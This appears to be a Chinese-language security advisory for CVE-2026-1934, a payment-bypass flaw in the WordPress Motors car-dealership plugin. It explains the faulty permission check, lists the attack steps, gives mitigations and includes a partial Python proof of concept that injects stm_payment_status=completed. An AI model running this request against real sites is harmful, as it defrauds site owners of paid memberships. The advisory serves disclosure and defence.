IPBUF安全漏洞报告
English
CVE-2026-1934 CVSS 4.3 中危

CVE-2026-1934: WordPress Motors插件支付绕过漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-1934
漏洞类型
权限提升 / 支付绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Motors – Car Dealership & Classified Listings Plugin

相关标签

WordPress支付绕过权限提升IDOR插件漏洞

漏洞概述

WordPress的Motors – Car Dealership & Classified Listings插件在1.4.103及之前版本中存在一个安全漏洞。该漏洞源于插件在处理用户元数据更新时缺乏严格的权限验证。具体而言,`stm_save_user_extra_fields()`函数直接从POST数据中获取并更新敏感的用户字段,而没有充分验证当前用户是否有权修改特定字段。尽管该函数检查了用户是否有权编辑自己的个人资料,但这允许低权限用户(如订阅者)修改付款状态字段。因此,经过身份验证的攻击者可以将`stm_payment_status`设置为“已完成”,从而绕过PayPal支付验证,免费获得付费经销商会员功能。

技术细节

该漏洞位于插件目录下的`includes/user-extra.php`文件中。漏洞函数`stm_save_user_extra_fields()`挂载到了WordPress的`personal_options_update`动作钩子上,这意味着当用户更新个人资料时该函数会被触发。在函数内部,代码仅检查了`current_user_can('edit_user', $user_id)`,这是一个通用的检查,允许用户编辑自己的个人资料。然而,代码没有区分普通个人信息和敏感的业务逻辑字段(如`stm_payment_status`)。攻击者只需拥有一个经过验证的低权限账户(Subscriber级别),即可在发送个人资料更新请求时,向POST数据中注入`stm_payment_status=completed`。服务器接收请求后,会无条件更新数据库中的用户元数据,导致插件逻辑误认为攻击者已完成支付,进而授予其付费Dealer会员的所有权限。

攻击链分析

STEP 1
步骤1
攻击者在目标WordPress站点注册一个低权限账户(如订阅者 Subscriber)。
STEP 2
步骤2
攻击者登录账户,并访问个人资料编辑页面(/wp-admin/profile.php)。
STEP 3
步骤3
攻击者拦截发送给服务器的更新请求(或构造自定义POST请求),并在请求体中插入恶意参数 `stm_payment_status=completed`。
STEP 4
步骤4
服务器端 `stm_save_user_extra_fields()` 函数处理该请求,由于权限校验逻辑缺陷,直接将攻击者的付款状态更新为“已完成”。
STEP 5
步骤5
攻击者无需实际支付即可获得付费经销商(Dealer)的会员功能和权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration target_url = "http://example.com/wp-admin/profile.php" login_url = "http://example.com/wp-login.php" username = "attacker" # Low-privileged user password = "password" # Create a session to maintain cookies session = requests.Session() # Step 1: Authenticate to get a valid cookie login_data = { 'log': username, 'pwd': password, 'redirect_to': target_url, 'wp-submit': 'Log In', 'testcookie': '1' } login_response = session.post(login_url, data=login_data) if login_response.status_code != 200: print("Login failed") exit() # Step 2: Exploit the vulnerability # We send a POST request to the profile update endpoint including the vulnerable parameter. # In a real scenario, you might need to fetch the page first to get nonces, # but the core vulnerability lies in the unrestricted update of this meta key. exploit_data = { 'stm_payment_status': 'completed', # The vulnerable parameter 'description': 'Updated bio', # Dummy data to satisfy profile update requirements 'action': 'update', '_wpnonce': 'fetch_this_from_page', # Requires fetching a valid nonce from the profile page in a real attack 'user_id': '1' # Target user ID (usually self) } try: # Note: This PoC demonstrates the payload structure. # Valid execution requires handling WordPress nonces. response = session.post(target_url, data=exploit_data) if response.status_code == 200: print("Request sent. If vulnerable, the user payment status is now 'completed'.") else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

影响范围

Motors – Car Dealership & Classified Listings Plugin <= 1.4.103

防御指南

临时缓解措施
如果无法立即升级插件,建议暂时禁用该插件或使用Web应用防火墙(WAF)添加规则,拦截对 `stm_payment_status` 参数的非法写入请求,直到完成修补。

参考链接